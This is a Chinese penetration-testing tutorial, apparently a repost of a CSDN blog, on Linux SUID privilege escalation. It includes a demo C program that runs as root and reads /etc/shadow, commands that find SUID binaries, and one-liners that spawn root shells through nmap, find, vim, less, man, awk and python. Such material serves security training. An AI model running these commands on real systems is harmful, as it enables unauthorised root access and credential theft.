104.网络安全渗透测试—[权限提升篇2]—[Linux之SUID提权]

本文阅读 5 分钟
首页 代码,C/C#/C++ 正文

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

一、LINUX SUID提权

1、SUID简介

       SUID是一种特殊的文件属性,它允许其他用户在执行文件的时候,以该文件的拥有者的身份运行。

       SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。

       例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。这很像我们在古装剧中见到的手持尚方宝剑的钦差大臣,他手持的尚方宝剑代表的是皇上的权威,因此可以惩戒贪官,但这并不意味着他永久成为了皇上。因此这只是一种有条件的、临时的特殊权限授权方法。

2、SUID测试

(1)实验环境

靶机环境:虚拟机Ubuntu-15.5.04-3.19.0-15-generic

(2)靶机suid提权环境测试

【以 root进行编译和权限设置】

第一步: 编辑suid-demo.c源代码

#include <stdlib.h>
#include <unistd.h>
int main()
{ 
    setuid(0);    //设置suid为0,也就是run as root
    system("id");
    system("cat /etc/shadow");
}

第二步: 编译gcc suid-demo.c -o suid-demo img

第三步: 设置suid位chmod 4775 suid-exp img

第四步: ls 查询文件,注意s属性标识这个程序有suid的属性

img

第五步: 使用find / -perm -u=s -type f 2>/dev/null命令来查询根本目录下所有带用suid属性的文件 img

【普通用户执行】

第六步: 切换到普通用户moonteam,再去执行suid-demo,发现此时是以root的权限执行的该二进制文件 img

(3)总结

          若靶机上的某个二进制命令文件,没有在root下设置suid临时权限,我们可以su root切换到root用户,然后输入chmod 4775 某命令文件,即可设置suid提权的环境!!! img

3、SUID提权

(1)提权原理

          简单理解为,一个文件有s标志(权限中包含s),并且对应的是root权限,那么当运行这个程序时就有root权限,且这个程序还能执行命令。此时就能从普通用户提升到root权限了!!!

(2)可用于suid提权的命令

Nmap
Vim
find
Bash
More
Less
cp
Nano
Man
Awk
Perl
Python
Tcmdump

(3)查找具有root权限的SUID的二进制可执行命令文件

姿势1:find / -user root -perm -4000 -print 2>/dev/null

姿势2:find / -perm -u=s -type f 2>/dev/null img

姿势3:find / -user root -perm -4000 -exec ls -ldb {} ;

(4)nmap命令提权姿势

          旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。若Nmap在使用root权限执行的二进制文件列表中,也就是在root权限下设置了SUID临时权限,则可以使用交互式控制台来运行具有相同权限的shell。

第一步:nmap -v img

第二步:nmap --interactive img

第三步:nmap>!sh img

(5)find命令提权姿势

          若find在使用root权限执行的二进制文件列表中,也就是在root权限下设置了SUID临时权限,则可以使用-exec参数以root权限执行命令甚至可以开启一个root权限的shell。

第一步:touch demo.txt img

第二步:find demo.txt -exec whoami ; img

第三步:find demo-exec /bin/bash -p ; img

(6)vim命令提权姿势

          Vim是Linux环境下的一款文件编辑器。若vim在root权限下设置了SUID临时权限,则可以在编辑状态下以root权限开启一个shell。

第一步:vim 图略 第二步::shell 图略

(7)bash命令提权姿势

第一步:bash -p img

(8)less/more命令提权姿势

第一步:less或more /etc/passwd 图略 第二步:!/bin/bash或!/bin/sh 图略

(9)cp命令提权姿势

(10)nano命令提权姿势

(11)man命令提权姿势

第一步:man cat 图略 第二步:!/bin/bash或/bin/sh 图略

(12)awk命令提权姿势

第一步:awk 'BEGIN {system("/bin/bash")}' 图略

(13)python命令提权姿势

第一步:python -c 'import os;os.system("/bin/bash")' 图略

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/122951331
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复